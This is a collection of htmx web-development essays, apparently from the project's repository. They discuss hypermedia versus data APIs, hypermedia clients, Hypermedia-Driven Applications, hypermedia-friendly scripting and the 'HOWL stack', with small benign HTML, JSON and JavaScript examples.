* Will be trivially [REST-ful](https://en.wikipedia.org/wiki/Representational_state_transfer), since they are simply what [Roy Fielding was describing](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm).
* Should be driven by the needs of the underlying hypermedia application
* May change dramatically *without* versioning information, because hypermedia utilizes [self describing messages](https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface) 
* Should be passed directly to humans, to maximize the flexibility of the system
 
Data APIs, on the other hand:
 
* Will not benefit dramatically from REST-fulness, beyond perhaps [Level 2 of the Richardson Maturity Model](https://en.wikipedia.org/wiki/Richardson_Maturity_Model)
* Should strive for both regularity and expressiveness due to the arbitrary data needs of consumers
* Should be versioned and should be very stable within a particular version of the API
* Should be consumed by code, processed and then potentially presented to a human
 
## APIs Today
 
Today, APIs are typically thought of in terms of JSON-over-HTTP.  These are almost always data-oriented APIs rather
than hypermedia APIs, although occasionally hypermedia concepts are incorporated into them (typically to
little benefit of the end users.)  There has been a [movement away](https://graphql.org/) from REST-ful APIs as the industry has begun
to [recognize the problems with fitting data APIs into the REST-ful model.](https://kieranpotts.com/rebranding-rest/)
 
This is a good thing: the industry should question REST-ful ideas in the Data API world and begin looking at older client-server
technologies that did a better job of servicing that particular network architecture, leaving REST instead to the network architecture
that it was coined to describe: hypermedia APIs.

## Designing a Hypermedia API

To show how a hypermedia API might be designed differently than a data API, let's consider the following situation, 
which came up on the [htmx discord](/discord) recently:

> I want a page with a form and a table on it.  The form will add new elements to the table, and the table will also be
> polling every 30 seconds so that updates from other users are shown.

Let's consider this UI in terms of a base url, `/contacts`

The first thing we will need is an end point to retrieve the form and the table of current contacts.  This will
live at `/contacts`, giving:

```txt
  GET /contacts -> render the form & contacts table
```

Next, we want to be able to create contacts.  This would be done via a POST to the same URL:

```txt
  GET /contacts -> render the form & contacts table
  POST /contacts -> create the new contact, redirect to GET /contacts
```

with HTML that looks something like this:

```html
<div>
    <form action='/contacts' method="post">
      <!-- form for adding contacts -->
    </form>
    <table>
      <!-- contacts table -->
    </table>
</div>
```

So far, so standard web 1.0 application, and thus far the data-API and hypermedia API needs haven't diverged very much,
although it is worth noteing that the hypermedia API is *self describing* and could be modified (say, changing the URL for creating
contacts) without breaking the hypermedia application.

Now we get to the part where htmx is needed: polling the server for updates to the table occasionally.  To do this
 we will add a new end point, `/contacts/table`, which renders only the table of contacts:
 
```txt
  GET /contacts -> render the form & contacts table
  POST /contacts -> create the new contact, redirect to GET /contacts
  GET /contacts/table -> render the contacts table
```
 
and then add a poll trigger to the table:
 
 ```html
 <div>
     <form action='/contacts' method="post">
       <!-- form for adding contacts -->
     </form>
     <table hx-trigger="every 30s" hx-get="/contacts/table" hx-swap="outerHTML">
       <!-- contacts table -->
     </table>
 </div>
 ```
Here we see the hypermedia API and data API begin to diverge.  This new end point is driven entirely by hypermedia
needs, not data model needs.  This end point can go away if the hypermedia needs of the application change; its form may change 
dramatically and so on, which is entirely acceptable since the system is self-describing.

Since we have updated the HTML to use htmx for polling, we may as well make the form use htmx as well for a better
UX experience:

 ```html
 <div>
     <form action='/contacts' method="post" hx-boost="true">
       <!-- form for adding contacts -->
     </form>
     <table hx-trigger="every 30s" hx-get="/contacts/table" hx-swap="outerHTML">
       <!-- contacts table -->
     </table>
 </div>
 ```

We can, if we choose, add additional end points for things like server-side validation of inputs, dynamic forms and 
so forth.  These end points would be driven by *hypermedia needs* rather than any sort of data model considerations:
we think in terms of what we are trying to achieve with our application.  

## API Churn

The crux point of this short essay is this: API churn is fine in a hypermedia system because *the messages in a hypermedia system are self-describing*.
We can thrash the API around and the application doesn't break: human users simply see the new hypermedia (HTML) and select what
actions they want to do.

Humans, compared with computers, are [good at deciding what to do](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html)
and are reasonably OK with change.

This is in contrast with data APIs.  Data APIs cannot be modified without breaking client code and thus must be much
more disciplined in their changes.  Data APIs also face pressure to provide higher levels of expressiveness so that they
can satisfy more client needs without modification.  

<aside>

*This latter situation is [especially dangerous](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html) when these data APIs are consumed in a browser, because any data-api expressiveness available to a front-end developer is also available to a potentially hostile user, who can fire up a console and begin hammering away at the API.  Apparently, facebook uses a [whitelist](https://twitter.com/AdamChainz/status/1392162996844212232) to deal with this.*

*Do you?*

</aside>

## Conclusion

When designing a hypermedia API, you should use a different design mindset than you use for data APIs.  Churn is
much less of a concern, and providing the end points you need for a good hypermedia experience should be your primary goal.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hypermedia-clients.md

+++
title = "Hypermedia Clients"
description = """\
  In this essay, Carson Gross explores the critical but often overlooked role of hypermedia clients in REST \
  architectures. He explains why adding hypermedia controls to JSON APIs is insufficient for true RESTful systems \
  without proper client implementation. Carson examines the challenges of building hypermedia clients and argues that \
  web browsers remain the most practical choice for hypermedia-driven applications."""
date = 2023-01-28
updated = 2023-01-29
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Often, when we are being insufferably pedantic in [online discussions](https://news.ycombinator.com/item?id=32141027) 
about [REST](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md) & [HATEOAS](@/essays/hateoas.md), we will
say something along the lines of this:

> JSON isn't a hypermedia because it doesn't have hypermedia controls.  
> 
> Look at this JSON:

 ```json
{
  "account": {
    "account_number": 12345,
    "balance": {
      "currency": "usd",
      "value": 50.00
    },
    "status": "open"
  }
}
```

> See?  No hypermedia controls.  
> 
> So this JSON isn't a hypermedia, and, therefore, the API returning this JSON isn't RESTful.

To this, occasionally, a smart and experienced web developer will reply with something along these lines:

> OK, mr. REST-y pants, how about this JSON?
```json
{
  "account": {
    "account_number": 12345,
    "balance": {
      "currency": "usd",
      "value": 50.00
    },
    "status": "open",
    "links": {
      "deposits": "/accounts/12345/deposits",
      "withdrawals": "/accounts/12345/withdrawals",
      "transfers": "/accounts/12345/transfers",
      "close-requests": "/accounts/12345/close-requests"
    }
  }
}
```
> There, now there are hypermedia controls in this response (normal humans call them links, btw) so this JSON is a 
> hypermedia.
> 
> So this JSON API is now RESTful.  Feel better?

😑

One must concede that, at least at a high-level, our online adversary has something of a talking point here: these
do appear to be hypermedia controls, and they are, in fact, in a JSON response.  So, couldn't you call this JSON response
RESTful?  

Being obstinate by nature, we still wouldn't be willing to concede the immediate point without a good 
[ackchyually](https://i.imgur.com/DpQ9YJl.png) or two:

* First, these links hold no information about what HTTP method to use to access them
* Secondly, these links aren't a *native* part of JSON the way that, for example, anchor and form tags are with HTML
* Third, there is a lot of missing information about the hypermedia interactions at each end point (e.g. what data needs to
  go up with the request.)

And so on: the sorts of pedantic nit-picking that makes technical flame wars about REST on the internet such a *special* joy.

However, there is a deeper [ackchyually](https://i.imgur.com/DpQ9YJl.png) here, and one that doesn't involve the *JSON API* 
itself, but rather the other side of the wire: the *client* that receives the JSON.

## Hypermedia Clients & Presentation Information

The deeper problem with this proposed fix for non-RESTful JSON APIs is that, for this JSON response to participate 
properly in a [hypermedia system](https://hypermedia.systems), the *client* that consumes the JSON needs to *also* 
satisfy the [constraints](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm) that the 
RESTful architectural style places on the entire system.

In particular, the client needs to satisfy the [uniform interface](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5),
in which the client code knows nothing about the "shape" or details of the response beyond the ability to display
the given hypermedia to a user.  In a properly functioning RESTful system, the client isn't allowed to have any 
"out of band" knowledge about the domain that a particular hypermedia representation, er, represents.

Let's look at the proposed JSON-as-hypermedia again: 

```json
{
  "account": {
    "account_number": 12345,
    "balance": {
      "currency": "usd",
      "value": 50.00
    },
    "status": "open",
    "links": {
      "deposits": "/accounts/12345/deposits",
      "withdrawals": "/accounts/12345/withdrawals",
      "transfers": "/accounts/12345/transfers",
      "close-requests": "/accounts/12345/close-requests"
    }
  }
}
```

Now, a client of this API *could* use a generic algorithm to transform this JSON into, for example, some HTML.  It could
do so via a client-side templating language that, for example, iterated over all the properties of the JSON object. 

But there's a hitch: note that there isn't a lot of *presentation information* in the JSON response.  It is a fairly raw 
data representation of the account in question, with a few additional URLs.  

A client that wanted to satisfy the uniform interface constraint of REST doesn't have much information on how to present 
this data to a user.  The client would, therefore, need to adopt a very basic approach to displaying this account to an 
end user.  

It would probably end up being roughly a set of name/value pairs and a set generic of buttons or links for actions, right?

There simply isn't much more it could do while remaining agnostic about the form of the JSON response.

### Pushing Our JSON API Further

We could fix this by making our JSON API more elaborate and start including more information on how to lay out the
information: perhaps indications that some fields should be emphasized, or hidden, etc.  

But that would only be part of the story.  

We would also need to update the client side to interpret these new elements of our JSON API properly.  So we are no 
longer just API designers: we are getting in to the hypermedia *client* creation business as well.  Or, more likely, we
are asking our *API clients* to get into the hypermedia client business as well.

Now, Mike Amundsen has written an [excellent book](https://www.oreilly.com/library/view/restful-web-clients/9781491921890/) on
how to build a proper, generic hypermedia client.  But what you will see in that book is that creating a good hypermedia 
client isn't trivial, and, further, it is certainly not what *most* engineers would build to consume a JSON API, even if 
the JSON API had increasingly elaborate hypermedia controls and presentation information in their responses.

### "Inefficient" Representations

As we begin to consider adding more information to our JSON response, a quote from Roy Fielding's dissertation jumps
to mind:

> The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
> standardized form rather than one which is specific to an application's needs.

_-Roy Fielding, <https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5>_

A criticism of HTML is that it mixes "presentation" information with "semantic" information.  This is often contrasted
unfavorably with the brevity of typical JSON API responses.

It turns out, however, that it is exactly that presentation information, and the ability of a web browser (i.e. a hypermedia client) to 
turn it into a UI that a human can interact with, that makes HTML work so well as a component of the larger hypermedia 
system that is the web.

And that exactly what we find ourselves adding to our own JSON API to support a proper hypermedia client.

## Building Hypermedia Clients

So, you can see, just offering hypermedia controls in a JSON API response isn't enough.  It is *part* of the REST story, 
but not the entire story.  And, I have come to understand, it is not really the *hard* part of the story.  In fact, creating the 
hypermedia *client* is the hard part, and creating a *good* hypermedia client is *the really hard part*.

Now, we are all used to web browsers just being there, but think for a moment about all the technology that goes in to simply
parsing and rendering HTML to an end user in a normal, every day web request.  It's *extremely* complicated.  

That's why, if we want to build web-based [hypermedia-driven applications](@/essays/hypermedia-driven-applications.md),
it's probably a good idea to use the standard, web-based hypermedia client: the browser.

It is already an extremely powerful, well tested hypermedia client.  And, [with a bit of help](@/docs.md),
it can be an even better hypermedia client.

In general, building a good hypermedia client that satisfies all the constraints of REST is hard, and we should lean
towards using (and extending) existing clients rather than building our own new ones.

### Hyperview

That being said, there are times when building a new hypermedia client is appropriate.  For example, this is what makes 
a technology like [Hyperview](https://hyperview.org/) so impressive and special.  Hyperview
doesn't just provide a specification for a new, mobile-friendly hypermedia, [HXML](https://hyperview.org/docs/guide_html).  

It also provides developers with a hypermedia *client* that understands how to render HXML.

Without that hypermedia client, Hyperview would be just another hypermedia-in-theory, like the JSON above, rather
than a compelling, practical and *complete* RESTful hypermedia solution.

A hypermedia without a hypermedia client is like a fish without a bicycle, except where the fish is really only good at
bicycling.

## Conclusion

It took me a long time to appreciate how important the *client* is to a proper, RESTful hypermedia system.  This is understandable,
since most of the early discussion around REST was around [API Design](https://www.martinfowler.com/articles/richardsonMaturityModel.html),
and the client simply didn't come up much.

What I see now is that a lot of these discussions were putting the cart before the horse: the only way a RESTful hypermedia
API can be useful is if it is consumed by a proper hypermedia client.  Otherwise, your hypermedia controls are wasted
on what is, at the end of the day, a domain-specific thick client that just wants to get things done.  

Further, your hypermedia API is almost certainly going to have to carry a fair amount of presentation-layer information 
in it to make the whole thing usable.  It turns out that "Level 3" of the 
[Richard Maturity Model](https://martinfowler.com/articles/richardsonMaturityModel.html), Hypermedia Controls, *isn't* 
enough to reach "The Glory of REST".

In practice, you are going to need to add in a bunch of practical presentation-level technology to make 
your hypermedia API really work, *and* you are going to need a properly built hypermedia client to consume it.

I had a nascent sense of this when I wrote [HATEOAS Is For Humans](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html),
but I didn't, at that time, appreciate just how special the client/web browser was.

REST isn't solely about APIs: as Roy Fielding makes clear in his dissertation, it is a *system* architecture. 

Except for a few people like [Mike](https://training.amundsen.com/), we've been largely ignoring a larger (really, 
*much* larger) part of the REST story:

<div style="text-align:center;padding-top: 24px">

<img src="/img/creating-client.png" alt="Creating A Hypermedia Client Is Hard Joke" style="max-width: 95%">

</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hypermedia-driven-applications.md

+++
title = "Hypermedia-Driven Applications"
description = """\
  In this essay, Carson Gross explains the Hypermedia-Driven Application (HDA) architecture, which combines the \
  simplicity of traditional Multi-Page Applications with the enhanced user experience of Single-Page Applications by \
  extending HTML infrastructure through declarative syntax and hypermedia-based server interactions."""
date = 2022-02-06
updated = 2022-10-18
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

## Genesis

> thesis: MPA - multi-page application
>
> antithesis: SPA -  single-page application
>
> synthesis: HDA - hypermedia-driven application
>
> \-\-[@htmx_org](https://twitter.com/htmx_org/status/1490318550170357760)

## The Hypermedia-Driven Application Architecture

The **Hypermedia Driven Application (HDA)** architecture is a new/old approach to building web applications.  It combines
the simplicity & flexibility of traditional Multi-Page Applications (MPAs) with the better user experience of 
[Single-Page Applications](https://en.wikipedia.org/wiki/Single-page_application) (SPAs).

The HDA architecture achieves this goal by extending the existing HTML infrastructure of the web to allow hypermedia
 developers to create more powerful hypermedia-driven interactions.
 
Following the REST notion of architectural [constraints](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm),
two such constraints characterize the HDA architecture: 

* An HDA uses *declarative, HTML-embedded syntax* rather than imperative scripting to achieve better front-end interactivity

* An HDA interacts with the server **in terms of hypermedia** (i.e. HTML) rather than a non-hypermedia format (e.g. JSON)

By adopting these two constraints, the HDA architecture stays within the original 
[REST-ful](https://developer.mozilla.org/en-US/docs/Glossary/REST) architecture of the web in a way that the SPA architecture
does not.  

In particular, HDAs continue to use [Hypermedia As The Engine of Application State (HATEOAS)](@/essays/hateoas.md), whereas
most SPAs abandon HATEOAS in favor of a client-side model and data (rather than hypermedia) APIs.

## An Example HDA fragment

Consider the htmx [Active Search](@/examples/active-search.md) example:

```html
<h3> 
  Search Contacts 
  <span class="htmx-indicator"> 
    <img src="/img/bars.svg" alt=""/> Searching... 
   </span> 
</h3>
<input class="form-control" type="search" 
       name="search" placeholder="Begin Typing To Search Users..." 
       hx-post="/search" 
       hx-trigger="keyup changed delay:500ms, search" 
       hx-target="#search-results" 
       hx-indicator=".htmx-indicator">

<table class="table">
    <thead>
    <tr>
      <th>First Name</th>
      <th>Last Name</th>
      <th>Email</th>
    </tr>
    </thead>
    <tbody id="search-results">
    </tbody>
</table>
```

This is a UX pattern that would typically be associated with an SPA: as the user types, after a slight pause, search 
results will populate the result table below.  However, in this case, it is being achieved entirely within HTML,
in a manner consonant with HTML.

This example effectively demonstrates the essential characteristic of an HDA:

* The front end of the feature is specified entirely in  declarative htmx attributes, directly in HTML

* The interaction with the server is done via HTTP and HTML: an HTTP `POST` request is sent to the server, HTML is 
  returned by the server and htmx inserts this HTML into the DOM

## Scripting In An HDA

[Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7) is an optional
constraint of the original REST-ful architecture of the web.

Similarly, the HDA architecture has a final, optional constraint:

* Code-On-Demand (i.e. scripting) should, as much as is practical, be done *directly in* the primary hypermedia

This addresses the concern regarding Code-On-Demand that Roy Fielding mentions in his thesis:

>  However, (Code-On-Demand) also reduces visibility, and thus is only an optional constraint within REST.

By embedding Code-On-Demand (scripts) directly in HTML, visibility is enhanced, satisfying the 
[Locality of Behavior](@/essays/locality-of-behaviour.md) software design principle.

Three approaches to scripting that satisfy this third constraint are [hyperscript](https://hyperscript.org), 
[AlpineJS](https://alpinejs.dev) and [VanillaJS](http://vanilla-js.com/) (when embedded directly on HTML elements).

Here is an example of each of these approaches:

```html
<!-- hyperscript -->
<button _="on click toggle .red-border">
  Toggle Class
</button>

<!-- Alpine JS -->
<button @click="open = !open" :class="{'red-border' : open, '' : !open}">
  Toggle Class
</button>

<!-- VanillaJS -->
<button onclick="this.classList.toggle('red-border')">
  Toggle Class
</button>
```

In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:

* All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses
* Scripting is used mainly to enhance the *front-end experience* of the application

Scripting augments the existing hypermedia (HTML) but does not *supersede* it or subvert the fundamental REST-ful
architecture of the HDA.

## HDA-style libraries

The following libraries allow developers to create HDAs:

* <https://htmx.org>
* <https://unpoly.com/>
* <https://piranha.github.io/twinspark-js/>
* <https://hotwire.dev>
* <https://hyperview.org/> (a mobile hypermedia!)

The following scripting libraries, when used appropriately, complement the HDA approach:

* <https://hyperscript.org>
* <https://alpinejs.dev/>
* <http://vanilla-js.com/> (embedded directly in HTML)

## Conclusion

The HDA architecture is a synthesis of two preceding architectures: the original Multi-Page Application (MPA) architecture
 and the (relatively) newer Single-Page Application architecture.  

It attempts to capture the advantages of both: the simplicity and reliability of MPAs, with a 
[REST-ful Architecture](https://developer.mozilla.org/en-US/docs/Glossary/REST) that uses 
[Hypermedia As The Engine Of Application State](@/essays/hateoas.md), while providing a better user experience, on par
with SPAs in many cases.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hypermedia-friendly-scripting.md

+++
title = "Hypermedia-Friendly Scripting"
description = """\
  In this essay, Carson Gross discusses hypermedia-friendly scripting approaches for web applications, explaining how \
  to incorporate JavaScript while maintaining REST architectural principles and HATEOAS (Hypermedia as the Engine of \
  Application State). Carson outlines key guidelines for using scripting to enhance hypermedia-driven applications \
  without undermining their fundamental REST-ful architecture, covering topics like client-side state management, \
  event communication, and the islands architecture pattern."""
date = 2022-11-17
updated = 2022-11-29
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> The final addition to our constraint set for REST comes from the code-on-demand style of Section 3.5.3 (Figure 5-8). 
> REST allows client functionality to be extended by downloading and executing code in the form of applets or scripts. 
> This simplifies clients by reducing the number of features required to be pre-implemented. Allowing features to be 
> downloaded after deployment improves system extensibility. However, it also reduces visibility, and thus is only an
> optional constraint within REST.
>
> \-\-[Roy Fielding - Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7)

## Scripting & The Web {#scripting_and_the_web}

In [Hypermedia-Driven Applications](@/essays/hypermedia-driven-applications.md) we discuss how to build
web applications in such a manner that they are _hypermedia_-driven, in contrast with the popular SPA approach, in which
they are _JavaScript_ and, at the network-level, [RPC-driven](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md).

In the HDA article we mention scripting briefly:

> In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:
>
> * All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses
> * Scripting is used mainly to enhance the front-end experience of the application
>
> Scripting augments the existing hypermedia (HTML) but does not supersede it or subvert the fundamental REST-ful 
> architecture of the HDA.

In this article we would like to expand on this last comment and describe what scripting that does not "supersede" or
"subvert" a REST-ful, Hypermedia-Driven Application looks like.  These rules of thumb apply to scripting written
directly to support a web application, as well as to general purpose JavaScript libraries.

The basic rules for hypermedia-friendly scripting are:

* [Respect HATEOAS](#prime_directive)
* [Client-side only state is OK](#state)
* [Use events to communicate between components](#events)
* [Use islands to isolate non-hypermedia components from the rest of your application](#islands)
* [Optionally, consider inline scripting](#inline)

Each of these rules will be elaborated on below.

## The Prime Directive {#prime_directive}

The prime directive of an HDA is to use [Hypermedia As The Engine of Application State](@/essays/hateoas.md).
A hypermedia-friendly scripting approach will follow this directive.  

**Practically, this means that scripting should avoid making non-hypermedia exchanges over the network with a server.**

So, in general, hypermedia-friendly scripting should avoid the use of `fetch()` and `XMLHttpRequest` _unless_ the responses
from the server use a hypermedia of some sort (e.g. HTML), rather than a data API format (e.g. plain JSON).

Respecting HATEOAS also means that, in general, complicated state stored in JavaScript (rather than in the DOM) should 
be avoided.

However, this last statement needs to be qualified: state may be stored client-side in JavaScript so long as it is 
directly supporting a more sophisticated front-end experience (e.g. widget) than pure HTML allows.  

To reiterate what Fielding says regarding the purpose of scripting in REST:

> Allowing features to be downloaded after deployment improves system extensibility.

So scripting is a legitimate part a REST-ful system, in order to allow the creation of additional features not directly implemented
within the underlying hypermedia, thus making a hypermedia (e.g. HTML) more extensible.

A good example of this sort of feature is a rich-text editor: it might have an extremely sophisticated JavaScript model
of the editor's document, including selection information, highlighting information, code completion and so forth.
However, this model should be isolated from the rest of the DOM and the rich text editor should expose its information
to the DOM using standard hypermedia features.  For example, it should use a hidden input to communicate the contents of the
editor to the surrounding DOM, rather than requiring a JavaScript API call to get the content.

The idea is to use scripting to improve the hypermedia experience by providing features and functionality that are
not part of the standard hypermedia (HTML) tool set, but do so in a way that plays well with HTML, rather than relegating
HTML to a mere UI description language within a larger JavaScript application, as many SPA frameworks do.

## State

Note that using Hypermedia As The Engine Of Application State does not mean that you cannot have _any_ client-side state.
Obviously, the rich-text editor example cited above may have a significant amount of client-side state.  But
there are simpler cases where client-side state are warranted and perfectly consistent with a Hypermedia-Driven Application.

Consider a simple visibility toggle, where clicking a button or anchor adds a class to another element, making it visible.

This ephemeral client-side state is fine in a Hypermedia-Driven Application, because the state is purely front-end.  No
system state is being updated with this sort of scripting.  If system state were to be mutated (that is, if showing or
hiding the element had an effect on the data stored on the server), then it would be necessary to use a hypermedia
exchange. 

The crucial aspect to consider is whether any state updated on the client side needs to be synchronized with the server.  
If yes, then a hypermedia exchange should be used.  If no, then it is fine to keep the state client-side only.

## Events

One excellent way for a JavaScript library to enable hypermedia-friendly scripting is for it to have 
[a rich custom event model](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events).

A JavaScript-based component that triggers events allows for hypermedia-oriented JavaScript libraries, such as htmx,
to listen for those events and trigger hypermedia exchanges.  This, in turn, makes any JavaScript library a potential
_hypermedia control_, able to drive the Hypermedia-Driven Application via user-selected actions.

A good example of this is the [Sortable.js](@/examples/sortable.md) example, in which htmx listens for
the `end` event triggered by Sortable.js:

```html
<form class="sortable" hx-post="/items" hx-trigger="end">
  <div class="htmx-indicator">Updating...</div>
  <div><input type='hidden' name='item' value='1'/>Item 1</div>
  <div><input type='hidden' name='item' value='2'/>Item 2</div>
  <div><input type='hidden' name='item' value='3'/>Item 3</div>
  <div><input type='hidden' name='item' value='4'/>Item 4</div>
  <div><input type='hidden' name='item' value='5'/>Item 5</div>
</form>
```

The `end` event is triggered by Sortable.js when a drag-and-drop completes.  htmx listens for this event via the 
[`hx-trigger`](@/attributes/hx-trigger.md) attribute and then issues an HTTP request, exchanging hypermedia with the 
server.  This turns this Sortable.js drag-and-drop powered widget into a new, powerful hypermedia control.

## Islands

A recent trend in web development is the notion of ["islands"](https://www.patterns.dev/posts/islands-architecture/):

> The islands architecture encourages small, focused chunks of interactivity within server-rendered web pages.

In cases where a more sophisticated scripting approach is required and where communication with a server
outside of the normal hypermedia-exchange mechanism is necessary, the most hypermedia-friendly approach is to use the island
architecture.  This isolates non-hypermedia components from the rest of the Hypermedia-Driven Application.

Events are a clean way to integrate your non-hypermedia-driven islands within a broader Hypermedia-Driven Application, 
allowing you to convert an "inner" island into an "outer" hypermedia control, just as in the case of the Sortable.js example
above.

Deniz Akşimşek has made the observation that it is typically easier to embed non-hypermedia islands within a larger
Hypermedia-Driven Application, rather than vice-versa.

## Inline Scripts {#inline}

A final rule for hypermedia-friendly scripting is inline scripting: writing your scripts directly within a hypermedia, 
rather than locating your scripts in an external file.  This is a controversial concept compared with the others
listed here, and we consider it an "optional" rule for hypermedia-friendly scripting: worth considering but not required.

This approach to scripting, while idiosyncratic, has been adopted by some HTML scripting libraries, notably
[Alpine.js](https://alpinejs.dev/) and [hyperscript](https://hyperscript.org).  

Here is some example hyperscript, showing an inline script:

```html
<button _="on click toggle .visible on the next <section/>">
    Show Next Section
</button>
<section>
    ....
</section>
```
This button, as it says, toggles the `.visible` class on the `section` element when it is clicked.

A primary advantage of this inline approach to hypermedia scripting is that, conceptually, the hypermedia itself is 
emphasized, rather than the scripting of the hypermedia.

Contrast this code with [JSX Components](https://reactjs.org/docs/components-and-props.html), where the
scripting language (JavaScript) is the core concept, with hypermedia/HTML embedded within it:

```js
class Button extends React.Component {
    constructor(props) {
        // ...
    }
    toggleVisibilityOnNextSection() {
        // ...
    }
    render() {
        return <button onClick={this.toggleVisibilityOnNextSection}>{this.props.text}</button>;
    }
}
```

Here, you can see that the JavaScript is the primary technology in use, with the hypermedia/HTML being used as a UI
description mechanism.  The fact that the HTML is a hypermedia is almost immaterial in this case.

That being said, the inline scripting and the JSX approach do share an advantage in common: both satisfy the [Locality of Behavior(LoB)](@/essays/locality-of-behaviour.md),
design principle.  They both _localize_ behavior to the elements or components in question, which makes it easier to see
what these elements and components do.

Of course, with inline scripts, there should be a soft limit to the amount of scripting done directly within the 
hypermedia.  You don't want to overwhelm your hypermedia with scripting, so that it becomes difficult to understand "the shape"
of the hypermedia document.  

Using techniques like invoking library functions or using [hyperscript behaviors](https://hyperscript.org/features/behavior/) 
allow you to use inline scripting while pulling implementations out to a separate file or location.

Inline scripting isn't required for scripting to be hypermedia-friendly, but it is worth considering as an alternative to a 
more traditional scripting/hypermedia split.

## Pragmatism

Of course, here in the real world, there are many useful JavaScript libraries that violate HATEOAS and that do not trigger 
events.  This often makes them difficult fits for a Hypermedia-Driven Application.  Nonetheless, these libraries may 
provide crucial bits of functionality that are difficult to find elsewhere.  

In cases like this, we advocate pragmatism: if it is easy enough to alter the library to be hypermedia-friendly or to
wrap it in a hypermedia-friendly way, that may be a good option.  You never know, the upstream author might 
[consider a pull request](https://github.com/dropzone/dropzone/commit/64771e35baf032ee0910d1e56e6f44457efe138e) 
to help improve their library.

But, if not, and if there are no good alternatives, then just use the JavaScript library as it is designed.

Try to isolate a hypermedia-unfriendly library from the rest of your application, but, in general, do not
spend too much of your [complexity budget](https://hyperscript.org/docs/#debugging) on maintaining conceptual purity:
sufficient unto the day is the evil thereof.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hypermedia-on-whatever-youd-like.md

+++
title = "Hypermedia On Whatever you'd Like"
description = """\
  In this essay, Carson Gross explores the concept of 'The HOWL Stack' (Hypermedia On Whatever you'd Like) and argues \
  that using a hypermedia-driven approach for web applications allows developers to choose their preferred server-side \
  technology, freeing them from the pressure to use JavaScript throughout their entire stack while maintaining modern \
  web functionality through HTML and hypermedia enhancements."""
date = 2023-05-23
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

> The one big remaining (advantage of MPAs) is (server side programming) language choice. If you're already part of the 
> anti-JavaScript resistance, then nothing I say in the rest of this talk is going to matter that much. 
> 
> But, I'm going to get into this later: that ship might have sailed...
> 
> Rich Harris - [Have SPA's Ruined The Web?](https://youtubetranscript.com/?v=860d8usGC0o&t=440)

A concept we like to talk about is "The HOWL Stack".  HOWL stands for _Hypermedia On Whatever you'd Like_.

This is a joke-but-not-really [software stack](https://en.wikipedia.org/wiki/Solution_stack), and a reference to more
well known stacks like [The LAMP Stack](https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29)
or [The MEAN Stack](https://en.wikipedia.org/wiki/MEAN_(solution_stack)).

The TLDR of The HOWL Stack is this: when you use a [hypermedia-driven approach](/essays/hypermedia-driven-applications) 
for your web application, you free yourself up to choose _whatever_ server-side technology best fits your problem and 
your own technical tastes.

## Feeling The JavaScript Pressure

If you decide to use an SPA framework for your web application you will, naturally, have a large front-end codebase 
that is written in JavaScript. 

Given that, the following question inevitably will come up:

> "Well, why aren't we doing the back-end in JavaScript too?"  

This is a reasonable question to ask and there are a lot of advantages to adopting the same programming language on both
sides of the wire:

* You can share application logic between the two code-bases.  A good example here is validation logic.
* You can share data structures between the two code-bases. 
* You can build up expertise in a single language, JavaScript, making it easier for developers to work in various parts 
  of your application.
* You can reuse the build system & dependency management knowledge you've acquired for the front end

This _pressure_ to adopt JavaScript will only grow as your investment in the JavaScript front end ecosystem grows.

Furthermore, JavaScript has improved dramatically in the last five years and there are now multiple excellent
server-side runtimes for executing it.  Many of the older arguments about the messiness of the language can be
waved off as preventable via linting, developer discipline, and so forth.  

JavaScript is the dominant language among the web development thought leaders and there are massive numbers of tutorials,
code camps, etc. that strongly emphasize the language.  Nothing succeeds like success, and JavaScript (as well as React)
have succeeded.

Let's call the result of this _The JavaScript Pressure_ and acknowledge that nearly every developer working with the 
web feels it at least to some extent.

## Hypermedia: Our Only Hope

What hope do non-JavaScript developers have in web development?

Well, there is one older technology sitting there in the browser alongside JavaScript: _hypermedia_.  

Browsers offer excellent HTML support (and the related Document Object Model, or DOM).  In fact, even if you are using an 
SPA framework, you will be working with that hypermedia infrastructure in some form (via JSX templates, for example) if 
only to create UIs that a browser can understand.

So you are going to be using HTML or the related DOM APIs in some manner in your web application.

Well, what if we made HTML a more powerful hypermedia?  

That's the idea of [htmx](/), which makes it possible to implement [common modern web application patterns](/examples) 
using the hypermedia approach.  This closes the UX gap between traditional MPAs and SPAs, making taking the hypermedia
route feasible for a much larger set of web applications.

Once you adopt this hypermedia approach (and remember, you are going to be using hypermedia infrastructure _anyway_,
so why not leverage it as much as possible?) a surprising side effect occurs:

Suddenly, the advantage of server-side language choice that Harris attributed to MPAs is _back on the table_.

If your application's front end is mainly written in terms of HTML, maybe with a bit of client-side scripting,
and with no large JavaScript code-base, you've suddenly dramatically diminished (or entirely eliminated) The JavaScript 
Pressure on the back end.

